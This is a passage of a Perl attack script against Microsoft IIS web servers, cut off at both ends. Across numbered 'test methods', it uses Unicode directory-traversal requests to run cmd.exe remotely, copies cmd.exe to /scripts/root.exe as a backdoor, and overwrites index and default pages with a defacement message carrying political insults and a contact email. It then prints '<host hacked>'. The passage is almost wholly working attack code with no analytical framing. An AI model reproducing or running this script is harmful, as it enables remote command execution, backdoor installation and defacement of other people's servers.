r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
```

```
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
```

```
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 2
my @results=sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
```

```
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
```

```
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 3
my @results=sendraw("GET
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
```

```
    sendraw("GET
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
```

```
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 4
my @results=sendraw("GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
```

```
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
```

```
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 5
my @results=sendraw("GET
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
```

```
  my @results1=sendraw("GET
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
```

```
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
